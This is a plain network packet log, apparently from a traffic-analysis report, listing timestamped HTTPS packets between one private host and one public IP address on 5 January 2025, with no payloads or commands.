Jan 5, 2025 19:50:27.044298887 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044326067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.044336081 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.044960976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.044975996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045023918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045031071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045089960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045454979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045470953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045511961 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045517921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045685053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045705080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045731068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045737982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.045768023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045797110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.045986891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046005011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046072006 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.046080112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046230078 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.046308041 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046323061 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046365023 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.046370983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.046600103 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.055808067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.087202072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.087218046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.087254047 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.087261915 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.087291002 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.087297916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.130872011 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.130884886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.130920887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.130933046 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.130960941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.130985975 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131082058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131098986 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131129026 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131134987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131158113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131175995 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131858110 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131872892 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131913900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131921053 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.131951094 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.131958008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132222891 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132236004 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132268906 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132273912 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132302999 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132328033 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132452965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132488966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132502079 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132505894 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132528067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132822037 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132836103 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132867098 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.132875919 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.132900000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.133075953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133090973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133124113 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.133136034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133147001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.133327007 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133339882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133372068 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.133378983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.133404970 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.133544922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.217585087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.217600107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.217645884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.217653990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.217679977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.217700005 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.217915058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.217930079 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.217966080 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.217971087 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218003988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218003988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218110085 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218125105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218154907 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218161106 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218189001 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218197107 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218816996 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218832016 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218878984 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218884945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.218909979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.218931913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.219243050 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219257116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219301939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.219306946 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219336987 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.219345093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.219739914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219754934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219804049 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.219810009 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.219847918 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220002890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220017910 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220060110 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220066071 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220083952 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220103025 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220226049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220242977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220273018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220279932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.220307112 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.220326900 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.221375942 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.304706097 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304724932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304781914 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.304801941 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304847956 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304866076 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304898977 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.304904938 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.304915905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.304946899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.305003881 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305020094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305067062 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.305073977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305331945 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.305661917 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305679083 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305715084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.305721045 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.305749893 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.305773020 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309640884 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309662104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309694052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309700966 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309740067 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309753895 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309818983 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309834003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309864998 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309874058 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.309895992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.309915066 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.310106039 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.310121059 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.310146093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.310151100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.310159922 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.310178041 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.310195923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.310203075 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.358509064 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.358526945 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.358572960 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.358582973 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.358613968 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.391531944 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391544104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391588926 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.391598940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391624928 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.391661882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391679049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391706944 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.391714096 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.391738892 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.392405987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392419100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392448902 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.392457008 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392488003 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.392755985 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392774105 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392802000 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.392808914 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.392827034 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.396514893 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.396528006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.396564007 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.396570921 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.396598101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.396943092 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.396960020 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.396987915 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.396995068 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.397018909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.397037029 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.397049904 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.397077084 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.397083044 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.397094011 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.440727949 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.445410967 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.445425987 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.445513010 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.445519924 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.445621014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478527069 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478543043 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478581905 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478595018 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478619099 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478638887 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478812933 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478827000 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478873014 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478878975 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.478898048 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.478916883 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479165077 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479182959 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479208946 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479213953 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479239941 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479262114 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479495049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479511976 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479542017 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479548931 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.479572058 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.479589939 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483346939 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483362913 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483458042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483464003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483509064 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483690977 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483726978 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483738899 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483742952 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483776093 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483812094 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483827114 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.483872890 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.483880997 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.484167099 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.484179974 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.484211922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.484217882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.484246016 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.485234022 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565291882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565310955 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565367937 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565375090 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565432072 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565478086 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565493107 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565526009 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565565109 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565570116 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565630913 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565792084 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565807104 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565850019 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.565856934 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.565910101 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.566234112 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.566247940 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.566298008 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.566303015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.566627979 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572171926 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572191954 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572228909 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572237015 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572263956 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572278976 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572406054 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572421074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572468042 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572474957 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572592974 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572685003 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572699070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572731018 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572737932 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.572761059 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.572778940 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.573018074 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.573031902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.573076963 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.573085070 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.573257923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652502060 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652518034 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652576923 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652582884 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652590990 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652621984 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652637959 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652642965 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652652979 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652662992 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652667999 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652672052 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652692080 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.652704954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.652746916 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.653059006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.653074026 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.653115988 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.653126001 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.653173923 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659082890 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659099102 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659177065 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659182072 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659235954 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659466982 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659481049 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659532070 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659538031 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659571886 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659590006 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659617901 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659624100 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659643888 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659668922 CET	49746	443	192.168.2.4	172.67.208.58
Jan 5, 2025 19:50:27.659849882 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659864902 CET	443	49746	172.67.208.58	192.168.2.4
Jan 5, 2025 19:50:27.659904957 CET	49746	443	192.168.2.4	172.67.208.58
